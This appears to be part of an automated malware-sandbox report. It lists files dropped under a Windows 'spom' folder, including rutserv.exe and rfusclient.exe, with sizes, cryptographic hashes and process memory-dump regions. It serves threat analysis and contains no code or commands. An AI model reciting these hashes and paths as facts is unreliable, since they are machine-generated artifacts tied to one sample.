2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Windows\spom\webmvorbisdecoder.dll

Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Windows\spom\webmvorbisencoder.dll

Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
memory/876-112-0x0000000002900000-0x0000000002EAE000-memory.dmp

Filesize
5.7MB

Download
memory/876-122-0x0000000002900000-0x0000000002EAE000-memory.dmp

Filesize
5.7MB

Download
memory/876-121-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/876-109-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1240-80-0x0000000002080000-0x0000000002729000-memory.dmp

Filesize
6.7MB

Download
memory/1240-77-0x0000000002080000-0x0000000002729000-memory.dmp

Filesize
6.7MB

Download
memory/1244-86-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1352-79-0x0000000000400000-0x000000000078A000-memory.dmp

Filesize
3.5MB

Download
memory/1352-54-0x0000000075601000-0x0000000075603000-memory.dmp

Filesize
8KB

Download
memory/1352-55-0x0000000000400000-0x000000000078A000-memory.dmp

Filesize
3.5MB

Download
memory/1428-97-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1428-115-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1712-82-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1712-78-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1712-81-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1776-123-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1776-116-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1820-124-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1936-120-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download